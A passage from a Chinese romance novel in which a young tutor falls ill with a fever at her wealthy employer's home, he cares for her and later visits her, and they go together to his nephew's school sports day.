这些书情节设定环环相扣,妙趣横生,连她一个成年人都陶醉其中。
视线投向对面,陆忱不在,书房只剩下她自己。
不是说书房不单留客人?
正想着,书房门从外边推开,舅甥一起进来。
陆忱拿了个小盒子,边走边拆,走到她面前时,刚好取出里面的东西。
是一瓶眼药水。
“看久了伤眼,这个亲测效果很好
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。”
乔听月接过,小小的瓶子硌在掌心,眼眸因为酸涩略微泛红,笑道:“谢谢您。”
她大大方方扭开瓶盖,仰头对准眼睛各滴了两滴。
陆忱适时递来纸巾,“伸手,别睁眼。”
视觉受阻,听觉便异常敏感。
乔听月睫毛抖了抖,抬手去摸,摸到纸巾的同时,指腹勾到他掌心,轻轻一划。
她没在意,拿了纸巾擦落到脸颊的眼药水。
少女柔软的指腹像一片羽毛,明明划的是掌心,偏偏心头更痒。
陆忱喉结滚了滚,眼底涌起浓雾,在她睁眼时又尽数压下。
乔听月眼眸湿润清凉,准备将眼药水还给陆忱。
陆忱先一步开口:“你留着吧,这是陆氏医药的产品,公司还有很多。”
乔听月闻言没有推辞,把眼药水仔细收进背包,汇报看书进度:“已经筛选出七本适合小学生的读物,其他课外书还要再看看。”
“这次活动是什么时候?”
“暂定平安夜前一天。”
乔听月算了算日子,刚好是周六。
“陆先生,我和小信可以随行吗?”
祝承信乍然听到自己的名字愣了下,随后看向陆忱。
舅舅应该不想要他这个电灯泡吧……
奈何他高估了陆忱的底线,只要能和乔听月同行,多一个少一个又能怎么样。
“当然可以,我本来也打算带小信去锻炼一下。”
乔听月露出欣慰的笑容,她最欣赏陆忱这种为孩子考虑的家长了。
商量好之后三人一同用午餐。
吃完午餐,祝承信迫不及待冲向游戏室。
“你快点啊,不然不等你。”
乔听月吃饭讲究细嚼慢咽,吃完饭迈着散步的步调去游戏室,门开着,她探头进去,就见游戏室多了一排架子,上面摆满了她昨天抓的娃娃。
祝承信百无聊赖地摁着手柄,一页记录反反复复地看。
乔听月笑笑,单机打游戏固然有趣,但人是群居动物,有了志同道合的好友,就不愿意孤零零一个人了。
“选好游戏了吗?”
“真慢。”祝承信吐槽。
乔听月坐下来,问道:“这架子哪来的?”
“我舅舅买的啊,”祝承信新买了一个拳击游戏,认认真真挑选角色,“你快点选,我要一雪前耻。”
乔听月昨天已经赢够了,想着满足一下小孩的胜负心,随便选了个美少女。
“你们到家的时候天都黑了吧,怎么还有心思买架子?”
“打个电话的事,麻烦的是摆娃娃,”祝承信看似不经意地回答,“我舅舅有点强迫症,你看那些娃娃,都是严格按照物种、性别、颜色摆放的。”
乔听月怔了下,“陆先生亲自摆的?”
“是啊,”祝承信对她笑,“没想到吧。”
“开始了,你专心点。”
乔听月来不及深想,很快投入到游戏中,她专注地操作手柄摸索连招攻击,耳边是游戏动感的背景乐和一惊一乍的特效音效。
音响太吵了。
震得她心脏扑通扑通跳。
18. 抓痕
直到游戏时间结束,乔听月心跳加速的状况仍然没有好转,甚至还出现了轻微耳鸣。
祝承信已经习惯了作息时间,自觉收了手柄去书房,走出两步发现乔听月还坐在地上,低着头,看不清神色。
“今天不学了?”
“学。”乔听月劝学DNA被唤醒。
她站起来,眼前倏地一黑,原地晃了晃。
祝承信一把拽住她,“你怎么回事?”
乔听月按了按眼睛,“没事,起来太急了。”
祝承信“哦”了一声,他同桌有时候也这样,说是气血不足,多补一补就好了。
乔听月缓了两息,“好了,去书房吧,还得把昨天的时间补回来。”
昨天陆忱暴露了祝承信在国外读书的事情,今天乔听月找出一套难度中等的卷子,“把这个做了,认真做。”
祝承信依旧是那套说辞:“我也看不懂啊。”
“别装,”乔听月打开计时器,“我知道你在国外上过学,给你一小时,做不完或者成绩我不满意,你下周游戏时长减半。”
恶魔低语:“我给你补英语。”
祝承信把笔捏的咯吱响,“我舅舅说的?”
乔听月点头,“了解学生的情况是我应尽的责任,我不会侵犯你的隐私,你不用担心。”
说来奇怪,明明只相处了一周,祝承信便已经对她的话深信不疑。
一小时不到,祝承信交卷,“有些题目很怪,我不确定。”
乔听月表示理解,受国外的语言体系影响,国内所教授的语法对他来说是一种困扰。
对完答案,她拍拍手,“还不错,正确率百分之七十,我给你讲讲语法,觉得别扭也得学,我尽量讲得通俗一点。”
讲完卷子,乔听月给了二十分钟休息时间,祝承信自然是抓紧一切时间冲浪,她则是继续看书。
原本简单易懂的文字此时像是变成了一个个陌生的符号,一时间竟然无法把它们组成连贯的话语。
可能是用眼过度,她感觉眼珠仿佛在燃烧,眼珠后面的神经连着大脑跟着钝痛。
她用力按了按,获得短暂的清明。
看了两行实在看不进去,索性合上书闭目养神,她认为一定是玩游戏累的,盘算着找个理由缩短祝承信的游戏时间。
二十分钟后,闹铃响起。
祝承信回到座位,看她眉头紧锁,面容憔悴,深刻怀疑自己难不成真是朽木一块,讲一张卷子就把她疲惫成这样。
他试探地问:“要不再休息一会?”
“想都别想。”乔听月睁开眼,黑眼仁周围隐隐泛着红。
她把早就准备好的数学卷子拿出来,声音略微喑哑:“做这个,一个半小时。”
祝承信大概扫了一遍,难度没变,闷头开始算题。
偌大的书房回荡着秒针行走的滴答声,乔听月只觉得自己脑子里也有一块钟,只是时速时快时慢,偶尔还要扭曲地旋转。
她愈发坐不住,“我去接点水,你要吗?”
祝承信没抬头,道:“我想喝冰可乐。”
乔听月下楼,踩着坚实的楼梯却像陷进了泥水路,深一脚浅一脚,只得紧紧握着扶手。
吴叔在看报纸,见她下来,问道:“乔老师,有什么需要吗?”
乔听月循声望去,靠声音分辨说话的人是谁,“吴叔,家里有冰可乐吗?”
“有是有,”吴叔踌躇道,“这大冷天的小信要喝冰可乐?”
乔听月往厨房的方向走,“拿两听吧,我也想喝。”
吴叔惊讶,据他观察,乔听月虽然年轻但非常注意养生,在大冷天喝冰可乐,实在是匪夷所思。
还是给她拿了,“少喝点,对胃不好。”
冰冰凉凉的易拉罐握在掌心,乔听月感觉自己清醒许多,谢过吴叔后,她回到书房。
一瓶给祝承信,一瓶往自己脸上贴。
她不由打了个寒颤。
祝承信一口气干了半听,见她动作还以为是知己,“你也觉得热啊。”
乔听月点点卷子示意他快做,竟是一句话都不想说。
祝承信喝了可乐,下笔如有神,把会做的挑拣出来,迅速交卷。
他已经总结出最佳做题方式,那就是难题全都留给乔听月,反正她无所不能。
乔听月左手握着可乐瓶,右手握着笔。
“这题又错了,”她心里止不住翻涌起火气,“前天不是说会了吗?”
祝承信神色奇怪,之前哪怕他故意做错一加一,乔听月也没用如此严肃的口吻质问过他。
乔听月觉察到自己情绪不对劲,深吸一口气,“我再给你讲一遍。”
讲到后面,她越来越吃力,开始停笔思考,重复做演算。
祝承信再迟钝也反应过来不对劲,扭头打量她。
原本白皙的小脸染上了浓重的绯红,眼周红得最严重,嘴唇泛白发干,似是缺水造成的,每一次呼吸都灼热无比。
“喂,你是不是发烧了!”
乔听月理智尚存,她抬手摸了摸额头,果真烫手。
她抬头,眼珠慢慢转向祝承信,“好像是。”
“你等会。”祝承信拔腿往外跑。
他目的明确,跑到二楼最深处的房间外停下脚步。
这个房间是陆忱的小书房,他寻常不用,今天有会议,怕影响乔听月教学,才跑来这边开会。
祝承信敲了敲门,没听见回答,稍作犹豫还是开了门。
小声喊了声:“舅舅。”
陆忱看过来,抬了下眉,意思是有事快说。
“乔听月发烧了。”
乔听月的名字出现时,陆忱的神情便严肃起来,听到后面的事件,他握着话筒,匆匆留下一句“先到这”,快步离开小书房。
书房里,乔听月已经接受了自己正在发烧的事实,她淡定地收拾背包,叹了口气。
又得请假了。
真·倒贴上班。
乔听月最怕生病,一旦生病必然先连烧两天,烧得浑身骨头缝酸疼,接着两天说不出话,咽水都费劲。
趁还能认出家门,她得赶紧走。
从书桌到房门不到百步,乔听月从未走得如此艰难,她越走越慢,脚下越来越软。
模糊间,她又想起初遇陆忱那天。
她被石砖绊倒,脚软一头向前栽,陆忱拉了她一把。
自那之后,她每次走路都小心翼翼,怎么也想不到,往事还能重演。
这次摔倒还有人扶她吗?
忽然,房门猛地推开,差点擦中她的鼻梁。
一阵风扑在脸上,乔听月甚至忘了害怕,闭着眼,任由身体倒下去。
最后一抹意识消散前,她嗅到了红茶薄荷的味道。
——
再睁眼已是深夜,乔听月迷迷糊糊望着天花板,水晶吊灯没开,折射的橙黄暖光来自床头的阅读灯。
这不是她家。
乔听月并不担心,她是在陆家病倒的,很安全。
她抬手摸额头,摸到一片退热贴,凉滋滋的很舒服。
这时,有人开门。
她撑着胳膊坐起来,棉被滑落至腰间,后知后觉自己换了衣服。
佣人端着盆水进来,“乔老师你醒了。”
乔听月点头,小声问:“麻烦你了,现在几点了?”
“两点半,”佣人用热水烫了毛巾,“你衣服汗湿了,我给你换下洗了,我帮你擦一擦,好降温。”
顾不上降不降温,乔听月一把掀开被子,“我手机呢?”
“诶,我给你拿。”佣人拦住她,取来手机。
乔听月翻开未接来电,“有人给我
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打过电话吗?”
姐姐一定急死了。
记录显示,她和姐姐没有通话。
再看微信。
【姐姐】:月亮,还没下班吗?
【月亮】:你好,我是陆忱,乔老师忽然发烧昏倒,我已经为她请了医生,医生不建议她移动,如果你不放心,我可以派司机接你来陆家。
姐姐很干脆,直接打了视频。
视频显示5分38秒,应该是聊了一些关于她生病的注意事项。
重新放松下来,乔听月又开始觉得困倦,“陆先生睡了吗?”
问完,她揉了揉太阳穴。
真是烧傻了,凌晨两点半,怎么可能不睡。
“还没有。”佣人应答。
乔听月怀疑自己听错了。
应该是工作忙,他说过有跨国业务……
“先生担心你嘛,”佣人细心帮她擦手和脖颈,“怕你中途醒了不踏实,医生也没走,你要见他吗?”
乔听月神情恍惚一瞬,“他在书房吗?我现在去。”
“先生吩咐过,要是你醒了想见他,就让我去卧房找他,你安心等着就行。”
表达感谢哪有坐着感谢的,可陆忱在卧房,乔听月着实不好登门,况且她还病着,万一把病毒带进去也不妥当。
她只能乖乖等佣人请陆忱过来。
静谧的夜晚,脚步声十分明显。
陆忱和医生一起进屋,家居服愣是走出了西装的感觉。
陆忱眼底有些青,熬夜不可避免地对他造成了影响。
“感觉怎么样,头还晕吗?”
乔听月靠着抱枕倚在床头,任由医生帮她测体温。
“还有一点,但是好多了。”
她声音哑得厉害,虚弱又可怜。
体温枪显示38.9度,医生皱了皱眉,“还没退烧,再这样下去就要打针了。”
乔听月摇头,一摇更晕了,捂着脑袋拒绝:“不用的,我每次发烧都这样,过两天就好了。”
见她反应强烈,医生不好勉强,在陆忱压迫性十足的视线下,表示可以换一款药效更高的退烧药。
医生离开,房间内只剩乔听月和陆忱两个人。
一站一卧,面面相觑。
房间还是很热,乔听月自己就是热源,手心渗出密密麻麻的汗。
她从来不在别人家留宿,没想到人生第一次竟是留宿雇主家,而且还给他带来大麻烦。
“谢谢您陆先生,今天给您添麻烦了。”
她此时像刚从水里捞出来似的,乌黑的长发湿漉漉地贴着脸颊和脖颈,与眼底不正常的红晕形成明显对比。
陆忱来到床边,拿起盆里的毛巾,温水自他指间流淌而过。
他盯着一圈圈扩散开的涟漪,声线发沉:“不麻烦,你在陆家生病,我理应对你负责。”
陆忱真是天底下最慈悲的雇主。
乔听月仰着头,费劲地睁眼描摹他的轮廓,灯光下,她看到他侧颈有一抹红痕。
她的视线似乎和体温一样炙热,陆忱往她身边挪近几分,抬手从侧颈靠后的位置一直抚到锁骨。
一道长长的抓痕,涂了薄薄的透明凝胶,依旧掩盖不住凸起的红肿。
顷刻间,雷声自脑海深处炸响。
她想起来了。
她昏倒前看到的最后一个人是陆忱。当时他看起来万分焦急,往常精心打理的头发一股脑飞到后面,乱糟糟的。
她昏在他怀里,被他抱起来时本能地想要抓住什么。
她嗓子干燥得更厉害了,眼睛又开始发烫,神经丝丝缕缕纠缠。
“陆先生,我、”
她磕磕巴巴说不出完整的话。
陆忱素来善解人意,拧干毛巾,擦拭她鬓角滚落的汗珠。
“小伤而已,乔老师不必介怀。”
19. 遮瑕
怎么可能不介怀?
乔听月按住鬓边湿热的毛巾,她掌心很烫,不小心触碰到陆忱的手指,像是炎炎夏日不可多得的冰,心底抑制不住地生出贪婪。
她慌乱地撤开手,“抱歉。”
陆忱淡定地松开毛巾,“五点半的时候你姐姐发来微信,我怕她担心,所以擅自用了你的指纹,没看别的东西。”
只是不经意扫到她给他的备注。
颇有些哭笑不得。
“我看到您的回复了,”乔听月很信任他的人品,况且她生活单调,本也没有见不得人的秘密,“还得多谢您回复我姐姐,她都说什么了?”
陆忱如实告知:“你的过敏史,还有生病时的口味。”
乔听月沉默片刻,过敏史就算了,怎么口味也告诉了啊。
在雇主家养病还要吃合心意的东西,是不是有点太过分了……
她想着,脑袋又开始一阵阵发昏。
陆忱见她攥着被子发抖,不由分说拿走她手中的毛巾,“躺下吧,一会儿喝了药再睡。”
乔听月内心抗拒,身边有别人的情况下躺在被窝里实属不礼貌,可扶在后背的手掌温暖有力,稍稍一抬,便把她塞回被子里。
生病的少女蜷缩在被子里,巴掌大的娃娃脸此时泛着不健康的红,干涩的嘴唇嗡动,吐出音节带着浓重的鼻音。
咕哝着:“我想喝水。”
乔听月每到生病便平白减了岁数,克制不住地渴望关怀和体贴。
陆忱刚拿起杯子,医生端着一碗黑乎乎的退烧冲剂进屋。
“病人没睡吧。”
“没睡。”陆忱给医生让位置。
乔听月小脸皱在一起,看看药,再看看医生,最后看向陆忱。
陆忱挑眉,轻笑着哄她:“药效很好,喝完就不晕了。”
乔听月重重地叹了口气,这还是她第一次在陆忱面前露出情绪化的表现,之前明明很在意专业素养来着。
她撑起上身,接过冲剂,试探着闻了闻。
像只警惕性十足的猫儿。
没闻到怪味,乔听月闭着眼睛一饮而尽。
喝药的动作耗费了她好不容易养回来的体力,虚脱地往床上一砸。
陆忱帮她掖了掖被子,“放心睡吧,有人守着你。”
她低低哼了一声。
分辨不出是听清了还是难受。
——
一夜无话。
乔听月是被食物的味道唤醒的,香菇瘦肉粥味道浓郁,配上奶香十足的小馒头,萦绕在客房内久久不散。
窗帘牢牢拉着,光线尽数遮挡在外,她摸出枕头下的手机看时间。
心情复杂。
病倒在雇主家。
一觉睡到十点半。
“乔老师你醒了,”佣人进来送饭,“我吵到你了?”
乔听月起身,摸了摸床单,后半夜她情况反复,把床单弄得潮乎乎的。
“没有,辛苦你们了。”
佣人给她测体温,低烧,找来毛毯让她披上。
“乔老师,先吃饭吧。”
乔听月将毯子裹紧些,慢慢走到小客厅用早餐。
她隐约觉得待遇特殊,但想不通原因,或许因为她是祝承信的老师,陆忱才愿意破例给她优待。
她吃饭的时候,佣人在收拾床铺。
她打听:“陆先生和小信起床了吗?”
佣人道:“小少爷一早就上学去了,先生在书房。”
今天是周一,陆忱这个工作狂竟然没去工作。
一碗粥下肚,乔听月精神饱满许多,正好姐姐打来电话。
“姐……我好多了,嗯,低烧……现在吗?好,我跟陆先生说一声。”
挂断电话,她找佣人要了自己的衣服和口罩,穿戴好后去书房找陆忱。
意外的是,给她开门的人不是陆忱,而是初遇那天跟在他身边的男人。
“乔老师您好,我是陆总的秘书,您叫我小唐就行。”
乔听月打了声招呼,低声问:“陆先生在忙吗?”
“不忙,过来吧。”陆忱坐在椅子里,远远望着她。
唐秘书对她笑笑,抱着文件离开。
陆忱放下钢笔,给乔听月倒热水。
“坐下说,退烧了吗?”
“已经退了。”乔听月小小编了个谎。
再三表达了感谢,她才说清来意:“我姐姐来接我回家,就不多叨扰了。”
陆忱动作微微停滞,平静道:“医生说你容易反复发烧,不建议外出见风。”
“姐姐说还有五分钟就到了,”乔听月搅着手指,“我想请三天假,以免传染您和小信。”
她边说边看陆忱的脸色,见他皱着眉,看起来是不太赞同。
“这三天不用给我发工资,我很快就会痊愈的。”
“你误会了,”陆忱轻声安抚,“陆氏有带薪病假,你合同里应该写了,我是怕你休息不够,给你多批两天,养好身体再回来。”
乔听月感动得想流泪,她实习的时候也病过一场,熬过发烧期之后带病上岗,说不出话,只能写板书,一天下来,胳膊都不是自己的。
她由衷道:“实在是太感谢您了陆先生。”
被少女感激又敬佩地望着,陆忱呼吸甚至慢了半拍,旋即失笑:“不用和我这么客气,医生昨天开了三包冲剂,一会你带回家。”
乔听月退烧后理智回笼,为昨天抗拒喝药的行径脸红。
她应了之后,小心翼翼地瞄陆忱的脖子。
难怪他今天没上班,若顶着抓痕被人看见,一场误会恐怕是免不了。
在他温和的注视下,她感觉体温又有些升高,口罩下嘴唇抿了抿,“陆先生,昨天不小心抓伤您真的很抱歉,您上次买的那款凝胶很好用,亲测有效,要是一直不消肿,您还可以——”
她顿住,不知道该不该继续说。
陆忱挑眉,“可以什么?”
“用遮瑕盖一盖,”乔听月越说声越小,“现在很多男人也会用的,遮瑕不算化妆啦。”
陆忱当然不会采取她的建议,他就要顶着这道印子,在她跟前晃悠。
“不用,过段时间就退了。”
“那您不上班吗?”
“不上,”陆忱双腿交叠,手指一下下敲着桌面,颇有些漫不经心,“我是老板。”
他这话甚是嚣张,乔听月却可耻地心动了。
当老板真爽!
这时,内线电话响了,陆忱按下免提。
“先生,乔老师的家人到了。”
“走吧,”陆忱起身,“我送你下去。”
乔听月推辞不过,以为和往常一样送到入户门便分别,没想到陆忱一言不发送她出了庭院门。
跟乔望曦同行的是一个儒雅的男人,负责开车和接人。
乔望曦没下车,降下车窗,对陆忱点了下头。她端坐在车里,腿上盖着一条毛毯,后座
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是折叠轮椅。
陆忱收回视线,表情不变,对乔听月道:“那你好好休息。”
男人接过乔听月的背包,帮她打开车门,绕回驾驶位,上车前,他目光投向陆忱,之后又平淡地收回。
车子驶离,陆忱眸光深沉,冷声命令。
“查一下那个人。”
——
到家后,乔听月不出意外又开始高烧。
她生病最怕见风,一来一去折腾,好不容易养回来的精气神再次萎靡回去。
乔望曦心疼地流眼泪,一个劲说不该接她回来。
乔听月握住她的手,帮她擦掉眼泪,“你不接我,我坐地铁也要回来的,总不好一直麻烦陆先生,而且你还联系了车,我少吹那么多风呢。”
“别哭了,咳咳,”她猛灌了几口水,“我包里有冲剂,你帮我冲一袋吧。”
乔望曦摇着轮椅出去,乔听月这才舒了口气。
自从父母去世,姐姐双腿残疾,她就发现姐姐对她的依赖度直线攀升,但她并不排斥,她喜欢这种被人惦记被人依赖的滋味,这让她觉得她是有价值的,是鲜活的。
可每到生病,姐姐一改恬淡的模样,变得无比紧张,甚至有几分神经质,她偶尔会吃不消。
乔望曦冲了药回来,看着她喝光,笑得和缓温柔。
乔听月放下碗,问:“姐,今天那人是你朋友吗?”
那辆车的车标她在陆忱的车库见过,一定很贵。
姐姐什么时候认识这样的朋友了?
“不是,”乔望曦给她喂了块话梅糖,“我随便打的网约车,那个小程序不太好操作,我以为我打的是出租车。”
有些富哥是喜欢跑网约车。
乔听月不放心:“等我病好了就教你,跑网约车的有好有坏,还是得警惕,你今天坐副驾就是不对的。”
虽然正常人都不会为难残疾人,但万一姐姐倒霉碰上变态呢。
乔望曦含笑听妹妹啰嗦。
乔听月说着说着开始犯困,自在地大被一蒙,寻了个舒服的姿势。
“姐,我睡会儿,你也午休吧。”
轮子咕噜噜远离,房门关上,乔听月短暂地睁了下眼。
她好像忘了什么事。
不管了,睡觉养病要紧,zzz……
——
陆家。
唐秘书去而复返,视线频频落在老板脖子上。
陆忱撩起眼皮,语调冷到结冰:“看什么。”
唐秘书忙低下头,他搞不懂,他只是离开了一小时,老板的心情怎么忽然之间坏掉了?
难道乔老师病得很严重?
书房的低气压持续蔓延,只余陆忱翻报表的沙沙声。
唐秘书天马行空胡乱揣测,听见陆忱问了句:“一个人为什么不回消息?”
“啊?啊——”
音节上扬又下跌,唐秘书故作沉思,“可能没看见吧。”
陆忱啧了声,没指望秘书给他好建议。
唐秘书越理思路越清晰,能让老板这么在乎,收信人定是乔老师没跑了。
原来乔老师回家了。
带病回家,还不回消息,怪不得老板不高兴呢。
他试探着开口:“可能是病得太严重,没精力看手机吧。”
陆忱停笔,证明他听进去了。
唐秘书拿着高额薪资,致力于在各方面为老板分忧:“您可以去探病啊,乔老师一定会感动的。”
20. 探病
陆忱欣然采纳了唐秘书的建议。
于是周三下午,乔听月接到了家访通知。
不是她家访学生,而是“学校股东”带着她的学生反向家访。
通话时,她一度摸额头,以为自己烧到幻听了。
再三确定:“是今天放学后吗?哦哦——小信想来,他担心我的身体?”
问号一个接一个冒出来,围着她的小脑袋瓜转圈圈。
虽然叛逆少年在她病倒时表现出了关心,但她私以为,他们师生间的关系绝对没有达到探病的程度。
可除了这个理由,她想不出第二个,总不能恶意揣测她的学生就是想看看她生病的样子,然后大肆嘲笑吧。
主要是,生病的时候真的很丑啊!
乔听月想了想,劝道:“我还病着,别把你们传染了。”
陆忱平静地扯谎:“你是冷热交替生病的,传染性不强,而且小信好不容易对我提出请求,我不想让他失望。”
乔听月沉默,陆忱的理由无懈可击。
僵持几秒,陆忱道:“不会打扰你太久,我带他坐坐就走。”
说到这份上,乔听月只得同意,“那您到之前给我发消息,我下楼接你们。”
陆忱本意是见她,并不想耽误她养病,温声道:“你在楼上帮我们按电梯就行,别再吹风了。”
通话结束,乔听月盯着自动锁屏的手机页面,微微走神,摁亮看了眼时间,距离祝承信放学还有两个小时。
乔望曦的晚餐时间固定在五点,她摇着轮椅进屋,“月亮,晚上还喝粥吗?”
乔听月点头,“辛苦你了姐。”
乔望曦温柔一笑,“跟姐姐客气什么。”
乔听月措辞半天没开了口。
家里向来只有她们姐妹俩,除了查煤气之类的工作人员,几乎没人来访。她没和姐姐商量,贸然答应陆忱的家访请求,此时非常害怕姐姐不高兴。
乔望曦一眼看出她心里有事,“怎么了?”
指尖在脸上勾了勾,眼神略有回避,乔听月嗫嚅道:“一会陆先生和小信来家访,不是,探病。”
乔望曦果然收了笑,手紧紧扣着扶手。
“我答应了,”乔听月先说结果,“你要是不想见她们,就在卧室躲一会儿,我保证不会太久的。”
乔望曦静静等她说完,几秒后,摇着轮椅往外走。
“不管谁来,都要先吃饭啊。”
乔听月的病已经进入第二阶段,嗓子里像横了只刺猬,四面八方的疼。
勉强吃了晚餐,刷了碗,再把表面看起来不规整的物品收起来。
半小时后,陆忱到了。
乔听月戴上口罩迎接他们,“陆先生,小信,进来坐吧,不用换鞋。”
她家没有多余的拖鞋,等他们走了再拖地就行。
陆忱是体面人,上门探病自然不会空手,他提着牛奶和果篮,祝承信提着精品海鲜和上次她评价不错的点心。
乔听月心里顿时打起鼓来,还没入职就开始收礼。
饭碗,危!
学校没教过怎么回绝家长送礼,她也没经验,只能干巴巴道:“来就来,怎么还买东西。”
陆忱不慌不忙放下东西,脱掉大衣随手搭在臂弯,“不是买的,陆氏的冬季福利,你一直没去公司领。”
这次陆忱没说谎,陆氏员工福利确实就这几样,唯一特别的是,乔听月这份是老板亲自买的。
陆氏员工福利好到令人嫉妒!
乔听月引着他们到客厅,“随便坐,家里地方小,我给你们倒水。”
陆忱不留痕迹地打量屋内的陈设。
家里柜子很多,大多只有两层高,厨房角落有一个斜坡台子,看来是为了她姐姐拿取物品方便。
乔听月很快端着水杯回来,陆忱给祝承信使了个眼色。
祝承信立马接过,在称呼上犹豫半天,还是没叫出口,“你身体好点了吗?”
乔听月笑眯眯地看他,“好多了。”
她声带哑得厉害,像叫声难听的乌鸦。
祝承信嘴唇抖了抖,憋着不让自己笑出声。
可惜颤抖的肩膀出卖了他,乔听月咬牙,终究还是没骂他。
她不想说话让他笑话。
陆忱拿起水杯,水杯是一套芭蕾舞女的图案,优雅精致,看得出姐妹俩很有生活情调。
“乔老师别忙了,我们坐坐就走。”
家里只有寻常水果,跟果篮对比根本拿不出手,总不能立马拆了招待他们。
乔听月放下水壶,眼睛扫了一下座位,祝承信坐在唯一的单人沙发上,她只能坐在陆忱身边。
陆忱八风不动,把白开水当红酒细细品味,直到感受到身侧陷下去一块,他才转过头。
少女和平时很不一样。
侧低马尾搭在胸前,露出小半张脸,不施粉黛,添了几分病弱,眸子依旧水润,一颦一笑带着柔弱,看起来我见犹怜。
“退烧药管用吗?”
乔听月颔首,简洁道:“这次退烧很快,多亏了您。”
陆忱打开祝承信的书包,翻出一个纸袋,“我问过医生了,他说你嗓子不舒服,估计要咳一段时间,我让他开了止咳清肺的药,药效有保障。”
乔听月受宠若惊,没想到陆忱竟然这么关注她的病情,为了外甥他付出良多。
送了药,陆忱便要告辞,“我就不打扰你养病了,有任何问题可以随时给我打电话。”
乔听月边送边客套:“要不再坐坐吧。”
说完,她咬了下嘴唇。
家徒四壁,让陆忱干坐着她真是好大胆。
陆忱十分心动,终究理智占了上风,他很明白过犹不及的道理。
“不必了,小信还要写作业,这几天我严格监督他执行作息表,你大可放心,”说着,他笑了笑,似是有些难为情,“我毕业太久,有些题把握不准,怕误导他,只能把任务留给你了。”
祝承信闷声不说话,舅舅邀功,他遭罪。
乔听月相当吃这一套,家长严格负责,老师当得省心,再者家长若什么都会,她就没有用武之地了。
“辛苦您了陆先生,等我病好就上岗,绝对不耽误工作。”
“舅舅,电梯来了。”祝承信提醒。
陆忱瞥他一眼,只能顺势道:“乔老师留步,不用送了。”
“陆先生——”
乔听月又急急叫住他。
陆忱转身,祝承信没等他,关闭轿厢,电梯下行。
狭小安静的走廊将呼吸声无限放大,陆忱不说话,静静等乔听月开口。
乔听月支支吾吾:“您脖子,好点了吗?”
“哦,你说这个。”
陆忱勾下毛衣领,侧过头露出侧颈,为了让她看清楚,微微俯身凑近。
“感觉好多了,你看呢?”
他凑过来时,乔听月甚至忘了呼吸。
她指尖捏着裤线,眼睛一眨不眨地盯着近在咫尺的颈项,太近了,连颈动脉搏动的起伏都肉眼可见。抓痕还在,不肿了,剩下一道清浅的印子。
乔听月避开视线,“嗯,是好多了。”
陆忱直起身,按电梯,“回去吧,别再着凉了。”
乔听月没动,“我陪您等会儿。”
层数匀速上升,走廊寂静无声,两人像等电梯的陌生人,偏偏心跳震耳欲聋,这时候保持社交距离倒显得欲盖弥彰。
陆忱下楼后,鬼使神差地,乔听月走到窗边向下看。
之前都是姐姐在这望着她,现在她在这望陆忱。
陆忱仿佛心有所感,上车时抬头,视线交汇,乔听月对他摆了摆手。
他唇角扬起弧度,用口型道:好好休息,等你——
“月亮,”乔望曦
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出来,“他们走了?”
“嗯,”乔听月听到声音便下意识回头,没有看清陆忱的后半句,此时再探头,只能看到车屁股,“已经走了。”
乔望曦收了水杯,视线落在慰问物品上,“还买东西了?”
“员工福利,顺手给我送来,”乔听月先拆开果篮,给她洗了个桃子,“这个季节有桃子挺难得的。”
乔望曦把桃子放在一边,“吃饱了,先收起来吧。”
乔听月拆开点心,打开一看是曲奇礼盒,她捏起一块喂到姐姐嘴边,“尝尝,这个特别好吃。”
乔望曦没推拒,咬了一半。
乔听月纠结半晌,还是忍住了嘴馋,“这半块你也吃了吧,我嗓子不行。”
好在陆忱考虑周到,买的是保质期长的曲奇,不然以姐姐对身材的看中,和她如今不能吃甜食的状态,这盒子点心恐怕要被浪费了。
牛奶姐姐也能喝,乔听月把它放到茶几下边,海鲜则全部装进冰箱,随时想吃随时解冻。
忙活一阵,专属于她自己的东西,只有纸袋里的药剂。
乔听月拿着纸袋回房,里面果然附带了陆忱的手写说明,略过用法用量,目光落在潇洒飞扬的“忱”字落款,眉眼弯了弯。
当即拆开一包喝了,还以为味道和止咳糖浆类似,齁死人不偿命,没想到竟是微苦回甘的中药味道。
她禁了禁鼻子,压下那股奇异的味道,思绪不受控制地飘到陆忱离开时。
男人伫立在车前,长款外套压风也压人,可他是天生的衣架子,丝毫不受影响,仰头时,风刮起他额前的发丝,眼眸深邃迷人,看似薄情的唇慢慢地张合。
【好好休息,等你——】
等她什么……
想不明白索性不想了,生病期间最忌劳神。
乔听月把手写说明放进柜子,手腕一转,她看见说明背面也有字。
【好好休息,等你回来上班。】
破案了。
乔听月轻笑一声,把头埋进枕头里。
她并没注意到,“等你”两个字,陆忱写得格外郑重。
——
生病期间乔听月也没闲着,一直通过锦新的公众号关注运动会的进程,确定是周五上午七点半开始,家长最晚八点半到场,过期不候。
托药剂的福,她这次生病堪称轻松,除了嗓子还有些哑,没有其他不适症状。
她和陆忱约定瞒着祝承信,届时突然出现给他一个惊喜,所以两人约在地铁口的咖啡厅见面。
乔听月到咖啡厅之后点了热可可和牛角包,寻了窗边坐下,方便陆忱一眼看见她。
迈巴赫出现在路口时,她就锁定了目标,然而受早高峰影响,硬是磨蹭了五分钟才开到她眼前。
陆忱降下车窗,隔着咖啡厅的玻璃看乔听月。
乔听月放下热可可,用手挡住脸,吃掉最后一口牛角包。
看不见她的嘴,但鼓动的腮帮却是一览无遗。
陆忱嘴角笑意愈发浓了,升上车窗不看她,免得她一时情急把自己噎住。
吃完牛角包,乔听月穿上羽绒服走出咖啡厅。
上车后,她率先注意到陆忱穿着的变化,运动装休闲鞋,夹克拉链稍稍下拉,露出贴身白色内搭,随性恣意浑然天成。
见多了商务风和家居风,她以为自己对陆忱的容貌早已免疫,没想到猝不及防又被晃了一下。
她赶紧递出美式,掩饰自己内心的慌乱。
“吴叔说您爱喝这个,我问过咖啡厅了,是现磨咖啡,味道应该差不多吧。”
她不懂咖啡,最后一句说得不自信。
陆忱打开直饮口,当着她的面喝了一口,苦涩的咖啡味顿时弥漫整个车厢。
“好喝,”他温声评价,接着开玩笑,“需要报销吗?”
乔听月扬起唇角:“不必,这是我请您的。”
21. 送水
今天来的家长很多,陆忱不想引起不必要的轰动,故意卡着时间到学校。
迈马赫绕广场转了一圈,找到一个比较偏远的车位。
陆忱先行下车,转身对乔听月伸出手,见她犹豫,轻声道:“这边地砖不平,怕你摔倒。”
语罢,乔听月果断把手搭上去。
反正她戴了手套,接触不到皮肤就不算过界。
搭上去的那一刻,陆忱握住她的手指,用了些力气但不疼,隔着厚厚的布料,她感受到他掌心的温热。
借着这股力气,她稳稳站住,低头一扫,发现地面确实翘起来一块,若是不小心真的会重蹈覆辙。
待她站稳,陆忱主动松开手,望着学校的方向,“走吧,音乐已经响了。”
